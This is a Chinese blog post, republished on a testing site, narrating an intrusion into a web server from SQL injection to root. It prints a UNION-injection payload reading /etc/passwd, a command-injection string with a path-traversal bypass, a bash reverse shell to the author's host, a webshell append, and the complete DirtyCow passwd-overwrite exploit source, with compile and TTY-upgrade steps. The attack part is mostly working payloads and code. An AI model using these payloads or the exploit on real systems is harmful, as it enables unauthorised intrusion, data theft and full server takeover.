记一次安全测试从sql注入到getshell到root提权

发表于:2018-4-17 09:13  作者:Undefinedv   来源:个人博客

字体: | 上一篇 | 下一篇 |我要投稿 | 推荐标签: 软件测试技术 安全测试 功能测试

  ###1.sql注入
  注入点在登陆处
  POST /login_db.php HTTP/1.1
  Host: wap.target.com
  Content-Length: 374
  Accept: */*
  Origin: http://wap.target.com
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer: http://wap.target.com/login.php
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=r8ma3p8rlqbepb57e7d2mb1q76
  Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
  Connection: close
   
  regacct=18100000000' union select 1,2,3,4,5,6,7,8,9,101,1,2,3,4,5,6,7,8,9,102,1,2,3,4,5,6,7,8,9,103,1,2,3,4,5,6,7,8,9,104,1,2,3,4,5,6,7,8,9,load_file('/etc/passwd'),1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6#&regpass=123456
  响应信息为:
  HTTP/1.1 200 OK
  Date: Thu, 12 Apr 2018 03:28:03 GMT
  Server: Apache/2.2.3 (CentOS)
  X-Powered-By: PHP/5.2.6
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Pragma: no-cache
  Content-Length: 5
  Connection: close
  Content-Type: text/html; charset=UTF-8
  ok
  由此可判断服务器后端为apache程序
  利用sql注入漏洞读取
  /etc/httpd/conf/httpd.conf
  可以找到web文件的具体路径。
  <VirtualHost x.x.x.x>
  DocumentRoot "/var/www/html/error"
  ServerName 127.0.0.1
  DirectoryIndex index.php
  </VirtualHost>
  <VirtualHost x.x.x.x>
  DocumentRoot "/var/www/html/interface"
  ServerName android.target.com
  DirectoryIndex index.php
  </VirtualHost>  
  <VirtualHost x.x.x.x>
  DocumentRoot "/data/apk"
  ServerName apk.target.com
  DirectoryIndex index.php
  </VirtualHost>  
  <VirtualHost x.x.x.x>
  DocumentRoot "/var/www/html/www"
  ServerName www.target.com
  DirectoryIndex index.php
  </VirtualHost>
   
  <VirtualHost x.x.x.x>
  DocumentRoot "/var/www/html/wap"
  ServerName wap.target.com
  DirectoryIndex index.php
  </VirtualHost>
   
  <VirtualHost x.x.x.x>
  DocumentRoot "/var/www/html/ngsadmin"
  ServerName guanli.target.com
  DirectoryIndex managercheck.php
      <Directory "/var/www/html/ngsadmin">
          AllowOverride AuthConfig
          Order allow,deny
          Allow from all
      </Directory>
  </VirtualHost>
  尝试写webshell,发现权限不够,只能在/tmp目录下写东西。
  只能根据页面信息读php源码进行白盒审计。
  页面直接访问的接口都看了一遍。发现一处本来可以攻击的傻逼代码。
  $ids=json_decode(stripcslashes($_POST['json']));
  foreach($ids as $id) {
  $sql="select dataname from sys_database where id=$id";
  $row=$db->executesql($sql);
  $backname=$row["backname"]; 
  exec("rm -rf /home/database/".$backname);       
  $sql="delete from sys_database where id=$id";
  $db->execute($sql); 
  }
  本来可以通过构造json参数,利用注入的漏洞伪造backname查询结果实现命令执行,结果他select的是dataname, 取的是backname,这个肯定结果是NULL,导致无法命令执行。这应该是程序员写的BUG。
  继续看其他源码。
  ###2.命令执行
  当我查看一个传真上传页面时,代码如下:
  <?php
       session_start(); 
        
      $accoutcode=$_POST['accoutcode'];
      $faxphone=$_POST['m_faxphone'];
      $filenamea=$accoutcode; 
      if(@move_uploaded_file($_FILES['m_filename']['tmp_name'], "/usr/local/ngswitch/fax/$filenamea"))
      {
         exec("python /usr/bin/unoconv -f pdf /usr/local/ngswitch/fax/$filenamea");
         exec("gs -q -sDEVICE=tiffg3 -dNOPAUSE -dBATCH -sOutputFile=/usr/local/ngswitch/fax/$filenamea.tif -f /usr/local/ngswitch/fax/$filenamea.pdf");
         require("lib/Db.php");
         $db=new Db();
         $sql="insert into core_waitcall(busi_type,accountcode,call_caller,call_called,call_callid,faxfilename) values('callback_fax','$accoutcode','$faxphone','$faxphone','013945267450','$filenamea.tif')";
         $db->execute($sql);
         $db->close();
   
      } 
       print "{success:true,msg:'传真提交成功!'}";
       
  ?>
  我通过构造accoutcode参数可以控制exec里的参数导致任意命令执行。但是首先得通过move_uploaded_file($_FILES['m_filename']['tmp_name'], "/usr/local/ngswitch/fax/$filenamea")
  , 一开始我直接传入111||rm /tmp/aaaa;
  aaaa是我用注入漏洞写的一个文件,但是执行后我尝试重新写入,提示文件已经存在(我在源码里找到了mysql的密码,发现可以外连,尝试写入udf,发现插件目录没有权限写入。)。说明命令并没有执行。我在本地用
  <?php
       session_start(); 
        
      $accoutcode=$_POST['accoutcode'];
      $faxphone=$_POST['m_faxphone'];
      $filenamea=$accoutcode; 
      var_dump($accoutcode);
      var_dump($faxphone);
      var_dump($_FILES['m_filename']['tmp_name']);
      var_dump(move_uploaded_file($_FILES['m_filename']['tmp_name'], "/usr/local/ngswitch/fax/$filenamea"));
      echo "python /usr/bin/unoconv -f pdf /usr/local/ngswitch/fax/$filenamea";
      exec("python /usr/bin/unoconv -f pdf /usr/local/ngswitch/fax/$filenamea");
       
  ?>
  测试,发现move_uploaded_file的过程返回了false。是第二个参数的文件。
  这个点怎么绕过我想了一阵子,后来用传入
  ../../1||rm -rf /tmp/aaaa;/../../../2
  的方式,拼接出了正确的目标路径,绕过了上传,又成功执行了命令。
  ###3. getshell
  此处很简单,利用命令执行构造
  ../../../../1||bash -i >& /dev/tcp/myip/6666 0>&1;/../../../../../tmp/qqqq;
  成功反弹shell, 这时我发现web目录下居然都没有可写权限。
  最后,我发现interface目录下有个sms_reg.php的文件是可写权限,所以我选择追加信息,利用
  echo 'webshell' >> sms_reg.php
  写上webshell。
  ###4. 提权
  到了这时候,我uname -a看了一下,发现是很早的发行版,利用github上找的脏牛提权poc提权。
  这里跟大家分享下:
  //
  // This exploit uses the pokemon exploit of the dirtycow vulnerability
  // as a base and automatically generates a new passwd line.
  // The user will be prompted for the new password when the binary is run.
  // The original /etc/passwd file is then backed up to /tmp/passwd.bak
  // and overwrites the root account with the generated line.
  // After running the exploit you should be able to login with the newly
  // created user.
  //
  // To use this exploit modify the user values according to your needs.
  //   The default is "firefart".
  //
  // Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
  //   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
  //
  // Compile with:
  //   gcc -pthread dirty.c -o dirty -lcrypt
  //
  // Then run the newly create binary by either doing:
  //   "./dirty" or "./dirty my-new-password"
  //
  // Afterwards, you can either "su firefart" or "ssh firefart@..."
  //
  // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
  //   mv /tmp/passwd.bak /etc/passwd
  //
  // Exploit adopted by Christian "FireFart" Mehlmauer
  // https://firefart.at
  //
   
  #include <fcntl.h>
  #include <pthread.h>
  #include <string.h>
  #include <stdio.h>
  #include <stdint.h>
  #include <sys/mman.h>
  #include <sys/types.h>
  #include <sys/stat.h>
  #include <sys/wait.h>
  #include <sys/ptrace.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <crypt.h>
   
  const char *filename = "/etc/passwd";
  const char *backup_filename = "/tmp/passwd.bak";
  const char *salt = "firefart";
   
  int f;
  void *map;
  pid_t pid;
  pthread_t pth;
  struct stat st;
   
  struct Userinfo {
     char *username;
     char *hash;
     int user_id;
     int group_id;
     char *info;
     char *home_dir;
     char *shell;
  };
   
  char *generate_password_hash(char *plaintext_pw) {
    return crypt(plaintext_pw, salt);
  }
   
  char *generate_passwd_line(struct Userinfo u) {
    const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
    int size = snprintf(NULL, 0, format, u.username, u.hash,
      u.user_id, u.group_id, u.info, u.home_dir, u.shell);
    char *ret = malloc(size + 1);
    sprintf(ret, format, u.username, u.hash, u.user_id,
      u.group_id, u.info, u.home_dir, u.shell);
    return ret;
  }
   
  void *madviseThread(void *arg) {
    int i, c = 0;
    for(i = 0; i < 200000000; i++) {
      c += madvise(map, 100, MADV_DONTNEED);
    }
    printf("madvise %d\n\n", c);
  }
   
  int copy_file(const char *from, const char *to) {
    // check if target file already exists
    if(access(to, F_OK) != -1) {
      printf("File %s already exists! Please delete it and run again\n",
        to);
      return -1;
    }
   
    char ch;
    FILE *source, *target;
   
    source = fopen(from, "r");
    if(source == NULL) {
      return -1;
    }
    target = fopen(to, "w");
    if(target == NULL) {
       fclose(source);
       return -1;
    }
   
    while((ch = fgetc(source)) != EOF) {
       fputc(ch, target);
     }
   
    printf("%s successfully backed up to %s\n",
      from, to);
   
    fclose(source);
    fclose(target);
   
    return 0;
  }
   
  int main(int argc, char *argv[])
  {
    // backup file
    int ret = copy_file(filename, backup_filename);
    if (ret != 0) {
      exit(ret);
    }
   
    struct Userinfo user;
    // set values, change as needed
    user.username = "firefart";
    user.user_id = 0;
    user.group_id = 0;
    user.info = "pwned";
    user.home_dir = "/root";
    user.shell = "/bin/bash";
   
    char *plaintext_pw;
   
    if (argc >= 2) {
      plaintext_pw = argv[1];
      printf("Please enter the new password: %s\n", plaintext_pw);
    } else {
      plaintext_pw = getpass("Please enter the new password: ");
    }
   
    user.hash = generate_password_hash(plaintext_pw);
    char *complete_passwd_line = generate_passwd_line(user);
    printf("Complete line:\n%s\n", complete_passwd_line);
   
    f = open(filename, O_RDONLY);
    fstat(f, &st);
    map = mmap(NULL,
               st.st_size + sizeof(long),
               PROT_READ,
               MAP_PRIVATE,
               f,
               0);
    printf("mmap: %lx\n",(unsigned long)map);
    pid = fork();
    if(pid) {
      waitpid(pid, NULL, 0);
      int u, i, o, c = 0;
      int l=strlen(complete_passwd_line);
      for(i = 0; i < 10000/l; i++) {
        for(o = 0; o < l; o++) {
          for(u = 0; u < 10000; u++) {
            c += ptrace(PTRACE_POKETEXT,
                        pid,
                        map + o,
                        *((long*)(complete_passwd_line + o)));
          }
        }
      }
      printf("ptrace %d\n",c);
    }
    else {
      pthread_create(&pth,
                     NULL,
                     madviseThread,
                     NULL);
      ptrace(PTRACE_TRACEME);
      kill(getpid(), SIGSTOP);
      pthread_join(pth,NULL);
    }
   
    printf("Done! Check %s to see if the new user was created.\n", filename);
    printf("You can log in with the username '%s' and the password '%s'.\n\n",
      user.username, plaintext_pw);
      printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
      backup_filename, filename);
    return 0;
  }
  利用反弹的shell进行编译,执行。
  当我尝试su root提权为root时,提示:
  standard in must be a tty
  不是一个tty,服务器也没有开sshd服务,不能远程连接。
  这个我以前都没有解决,这次网上搜了一下,发现可以用
  python -c 'import pty; pty.spawn("/bin/sh")'
  得到一个tty
  再执行su root,输入密码,成功进入root权限。




上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。

【直播预售】接口测试行业大佬带你从青铜上王者>>立即查看

评 论

论坛新帖

顶部 底部


建议使用IE 6.0以上浏览器,800×600以上分辨率,法律顾问:上海瀛东律师事务所 张楠律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2018, 沪ICP备05003035号
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪公网安备 31010102002173号

51Testing官方微信

51Testing官方微博

扫一扫 测试知识全知道